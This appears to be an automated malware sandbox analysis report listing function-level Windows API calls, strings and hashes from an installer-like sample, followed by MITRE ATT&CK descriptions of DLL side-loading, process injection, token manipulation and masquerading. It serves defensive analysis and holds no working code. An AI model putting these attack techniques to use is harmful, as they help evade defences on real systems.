Instruction ID: 5483d255828af9cef8fcdd630f22e0c0956a10275527037d70a62c30cec8c61f
Opcode Fuzzy Hash: 5b1bc627dd36a5102c32c12b14091c8dec43231046f13c1edcd0296a8f8e997f
Instruction Fuzzy Hash: 29014471640209BBEF209F60DE49FEA3B79FB04344F008039FA06A51D0DBB995559F58

Function 00406796 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004067AD
wsprintfW.USER32 ref: 004067E8
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067FC

Strings

\, xrefs: 004067BE
%s%S.dll, xrefs: 004067E2
UXTHEME, xrefs: 0040679F

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 70474fd7a4f9c0ba06a591290262a653731ba096fd3a0e6ffa6d52d828e9795f
Instruction ID: 2cc1ede9ae180511fd9dc47da010e879a2503ad1dada0433f9440106b5f2728e
Opcode Fuzzy Hash: 70474fd7a4f9c0ba06a591290262a653731ba096fd3a0e6ffa6d52d828e9795f
Instruction Fuzzy Hash: 86F09670510119A7DB24BF64DE4DF9B366CAB00709F11447AA646F21D0EB7C9A68CBA8

Function 00402947 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 0040299B
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029B7
GlobalFree.KERNEL32(?), ref: 004029F0
GlobalFree.KERNEL32(00000000), ref: 00402A03
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402A1B
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402A2F

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: de73b908c18fc613f7e49f3b3831bbe4083507e0fa079f070aaa262aac2e01e7
Instruction ID: 6d3b5365c2144e4253305efdfeae8c7c86b7c4bf3cccdf3f9a106f7510f1e1f6
Opcode Fuzzy Hash: de73b908c18fc613f7e49f3b3831bbe4083507e0fa079f070aaa262aac2e01e7
Instruction Fuzzy Hash: 6121BD71800124BBCF216FA9DE49D9F7E79EF05364F10023AF560762E1CB784D419BA8

Function 004066C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,75573420,00442800,00440000,004034A0,00442800,00442800,0040370F,?,00000007,00000009,0000000B), ref: 00406723
CharNextW.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 00406732
CharNextW.USER32(?,00000000,75573420,00442800,00440000,004034A0,00442800,00442800,0040370F,?,00000007,00000009,0000000B), ref: 00406737
CharPrevW.USER32(?,?,75573420,00442800,00440000,004034A0,00442800,00442800,0040370F,?,00000007,00000009,0000000B), ref: 0040674A

Strings

*?|<>/":, xrefs: 00406712

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 9ddbb9e18cbe24282ce487244f484090ca5dfb24375496ba9be4fccf49263134
Instruction ID: 9627fccf098e727a5900f08bdddf05a21b4f43d755832024a56349c67539c63f
Opcode Fuzzy Hash: 9ddbb9e18cbe24282ce487244f484090ca5dfb24375496ba9be4fccf49263134
Instruction Fuzzy Hash: F2110D1580061295DB303B548C84A7B62F8EF5879CF52843FED96732C0E77D8C9286BD

Function 0040176F Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5F0,00441000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,0040A5F0,0040A5F0,00000000,00000000,0040A5F0,00441000,?,?,00000031), ref: 004017D5

Part of subcall function 00406411: lstrcpynW.KERNEL32(?,?,00000400,00403596,00433F00,NSIS Error,?,00000007,00000009,0000000B), ref: 0040641E

Part of subcall function 00405479: lstrlenW.KERNEL32(0042C248,00000000,?,755723A0,?,?,?,?,?,?,?,?,?,004033B0,00000000,?), ref: 004054B1
Part of subcall function 00405479: lstrlenW.KERNEL32(004033B0,0042C248,00000000,?,755723A0,?,?,?,?,?,?,?,?,?,004033B0,00000000), ref: 004054C1
Part of subcall function 00405479: lstrcatW.KERNEL32(0042C248,004033B0,004033B0,0042C248,00000000,?,755723A0), ref: 004054D4
Part of subcall function 00405479: SetWindowTextW.USER32(0042C248,0042C248), ref: 004054E6
Part of subcall function 00405479: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040550C
Part of subcall function 00405479: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405526
Part of subcall function 00405479: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405534

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 3bd161d241efa62f67390cbd575096c18e933838bd6aa8ee1fc71e84d96db0bb
Instruction ID: 3db4763bd34d6378758f0dea6881e25fdbecc032a5989a9cd586940b12637d70
Opcode Fuzzy Hash: 3bd161d241efa62f67390cbd575096c18e933838bd6aa8ee1fc71e84d96db0bb
Instruction Fuzzy Hash: 13419471500118BACF10BFA5CD85DAE7A79EF45368B20423FF512B21E1DB3C89919A2D

Function 00402E41 Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402E95
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402EE1
RegCloseKey.ADVAPI32(?,?,?), ref: 00402EEA
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F01
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F0C

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 0ef7066dde05a2ca5f9e50454b412eec226e379908bdbcc4328f96335d0522a1
Instruction ID: 81522b48e592499502658fb4677f1b0f70c545d6b701466da39e5ccb8a756ba0
Opcode Fuzzy Hash: 0ef7066dde05a2ca5f9e50454b412eec226e379908bdbcc4328f96335d0522a1
Instruction Fuzzy Hash: 0F215A72500109BBEF129F90CE89EEF7A7DEB54344F110076B945B11A0E7B48E54AAA8

Function 00401D81 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D9A
GetClientRect.USER32(?,?), ref: 00401DE5
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E15
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E29
DeleteObject.GDI32(00000000), ref: 00401E39

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 5af5b17495f11576261f65d9e5f109aee1feef29f3286c425d9ce226ac00a781
Instruction ID: ee10c8015a3e92cf614b22ba24180aec604fe5fe026a1179c0e7be4a3fdf0cdb
Opcode Fuzzy Hash: 5af5b17495f11576261f65d9e5f109aee1feef29f3286c425d9ce226ac00a781
Instruction Fuzzy Hash: E621F672900119AFCB05DFA4DE45AEEBBB5EF08314F14003AFA45F62A0C7789D51DB98

Function 00401E4E Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E51
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E6B
MulDiv.KERNEL32(00000000,00000000), ref: 00401E73
ReleaseDC.USER32(?,00000000), ref: 00401E84
CreateFontIndirectW.GDI32(0040CDF0), ref: 00401ED3

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: a454a8818f399bf65eceb9f254a96b638f729825bbaaf63a9eae57af7bef2038
Instruction ID: 39ccdc2dc8d2035913c0323839c6798354fd507b9908b2fcb43e3dcb67b0f82d
Opcode Fuzzy Hash: a454a8818f399bf65eceb9f254a96b638f729825bbaaf63a9eae57af7bef2038
Instruction Fuzzy Hash: C6019271904240EFE7005BB0EE4AB9A3FB4BB15300F208A3AF141B75E2C6B904458BED

Function 00401C43 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CB3
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CCB

Strings

!, xrefs: 00401C7F

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: fbb483b0c38b2c52992a6a5b7edafa52747ff059505c006a33bc3772956b04e9
Instruction ID: 0f37489a7ff55aa34ce709233052591c61f0789b3923deb1f93634f017c8c928
Opcode Fuzzy Hash: fbb483b0c38b2c52992a6a5b7edafa52747ff059505c006a33bc3772956b04e9
Instruction Fuzzy Hash: E821AD7195420AAEEF05AFB4D94AAEE7BB0EF44304F10453EF601B61D1D7B84941CB98

Function 00404C14 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CB5
wsprintfW.USER32 ref: 00404CBE
SetDlgItemTextW.USER32(?,0042D268), ref: 00404CD1

Strings

%u.%u%s%s, xrefs: 00404C9F

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: f58b41418a4369048050ec28379bfde913e2c2f32864fd6dc5da282de313838b
Instruction ID: 33068f1a2098bbc59acf923d0b26dc9f7285eb9428391dcb76f0b5068863668e
Opcode Fuzzy Hash: f58b41418a4369048050ec28379bfde913e2c2f32864fd6dc5da282de313838b
Instruction Fuzzy Hash: 6A11EB73A041283BEB00656D9D46E9E329C9B85334F264237FA25F31D1E978C82182EC

Function 00405948 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,00442800), ref: 0040598B
GetLastError.KERNEL32 ref: 0040599F
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004059B4
GetLastError.KERNEL32 ref: 004059BE

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: 79915fdb32ce531948ad707932686e2b3240d3ac97543659e1c0f9af800e449c
Instruction ID: 2a6702a12d34049f0ed6173726a665453ef4396ebd7eb618d4b77e108423b323
Opcode Fuzzy Hash: 79915fdb32ce531948ad707932686e2b3240d3ac97543659e1c0f9af800e449c
Instruction Fuzzy Hash: 720108B1C10219EADF019BA4D948BEFBFB8EF04314F00803AD544B6180D77896488BA9

Function 00402FB1 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,0040318F,?,?,00000007,00000009,0000000B), ref: 00402FC4
GetTickCount.KERNEL32 ref: 00402FE2
CreateDialogParamW.USER32(0000006F,00000000,00402F2B,00000000), ref: 00402FFF
ShowWindow.USER32(00000000,00000005,?,00000007,00000009,0000000B), ref: 0040300D

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: e942aba91c3d4d0b77748caef32317d1a3e8dc78421a0242562119172c6ce506
Instruction ID: d33bc14a5fcc1787285ca97da28f022d839d2e13e88132ee71d9f244d0d7cdfd
Opcode Fuzzy Hash: e942aba91c3d4d0b77748caef32317d1a3e8dc78421a0242562119172c6ce506
Instruction Fuzzy Hash: 4AF05E3160AA21ABC6216F10FF0DA8B7B64BB48B41741487AF842B15E9DB740CA1DB9D

Function 00405DEE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406411: lstrcpynW.KERNEL32(?,?,00000400,00403596,00433F00,NSIS Error,?,00000007,00000009,0000000B), ref: 0040641E

Part of subcall function 00405D91: CharNextW.USER32(?,?,0042FA70,?,00405E05,0042FA70,0042FA70, 4Wu,?,00442800,00405B43,?,75573420,00442800,00000000), ref: 00405D9F
Part of subcall function 00405D91: CharNextW.USER32(00000000), ref: 00405DA4
Part of subcall function 00405D91: CharNextW.USER32(00000000), ref: 00405DBC

lstrlenW.KERNEL32(0042FA70,00000000,0042FA70,0042FA70, 4Wu,?,00442800,00405B43,?,75573420,00442800,00000000), ref: 00405E47
GetFileAttributesW.KERNEL32(0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,00000000,0042FA70,0042FA70, 4Wu,?,00442800,00405B43,?,75573420,00442800), ref: 00405E57

Strings

4Wu, xrefs: 00405DF0

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 4Wu
API String ID: 3248276644-2004972366
Opcode ID: d647ba489e44e4c384e8f234fc99267bc74e37b9af3ba258ec0477dc6db0c33a
Instruction ID: 87735b5e832f2f8e04389b482ed260ad6458a913df04a2d72dce2697f876d431
Opcode Fuzzy Hash: d647ba489e44e4c384e8f234fc99267bc74e37b9af3ba258ec0477dc6db0c33a
Instruction Fuzzy Hash: A5F0F435104D2216C63233369D09AAF1548CE82364759453BF8D1B22D1DB3C8B838CED

Function 004053ED Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040541C
CallWindowProcW.USER32(?,?,?,?), ref: 0040546D

Part of subcall function 004043B3: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043C5

Strings

, xrefs: 004053FD

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 26e100c8e936244900aacf90f380f9ed614629df6b7f9272593e4765ff02ca63
Instruction ID: 5278ea034fccd8c5818adddfb220a11f4cbf18c481ac084eeec191c980f5e464
Opcode Fuzzy Hash: 26e100c8e936244900aacf90f380f9ed614629df6b7f9272593e4765ff02ca63
Instruction Fuzzy Hash: F9012C71200609AFDF216F11DD80BDB3B66EB84756F504036FB01752E2C77A8C92DA6E

Function 00405F36 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405F54
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00440000,004034C3,00442000,00442800,00442800,00442800,00442800,00442800,00442800,0040370F), ref: 00405F6F

Strings

nsa, xrefs: 00405F43

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 418a87fb760587bef7583f4f3acae06d17b3011fc99645d3e11ea5bfcaa5fca8
Instruction ID: 6280ba3094977af7574bcd42248b285f756f81412eced5037130b5adcb3d4edb
Opcode Fuzzy Hash: 418a87fb760587bef7583f4f3acae06d17b3011fc99645d3e11ea5bfcaa5fca8
Instruction Fuzzy Hash: 55F03676B00204BFDB10CF55DD05E9FB7ADEB95750F10803AEE44F7150E6B499548B58

Function 004059FA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 00405A23
CloseHandle.KERNEL32(?), ref: 00405A30

Strings

Error launching installer, xrefs: 00405A0D

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 4cad7792158b69fc064c933527736888f22fedd2346a68a48c9e5725d4d2403f
Instruction ID: 9b609aa4dbda1b40da6c9694c56aee9f908f129f2491f8ac19b90d9f5f8e4f4b
Opcode Fuzzy Hash: 4cad7792158b69fc064c933527736888f22fedd2346a68a48c9e5725d4d2403f
Instruction Fuzzy Hash: 19E0B6B4600209BFEB109FA4EE49F7B7AACEB04708F004565BD50F6191DBB8EC158A7C

Function 00405E6C Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406151,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E94
CharNextA.USER32(00000000,?,00000000,00406151,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405EA5
lstrlenA.KERNEL32(00000000,?,00000000,00406151,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405EAE

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 21d608d80335ac136f0ceeda94a64e737efc7ffd0529c55eb96d3cb5f29812e9
Instruction ID: 346f7042b660fb70b52ae74c1c6e121eab6bc84344666f805f11c7930e864ff2
Opcode Fuzzy Hash: 21d608d80335ac136f0ceeda94a64e737efc7ffd0529c55eb96d3cb5f29812e9
Instruction Fuzzy Hash: A8F06231505418FFD7029BA5DE0099FBBA8EF56250B2540AAE880F7250D674EF019BA9

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

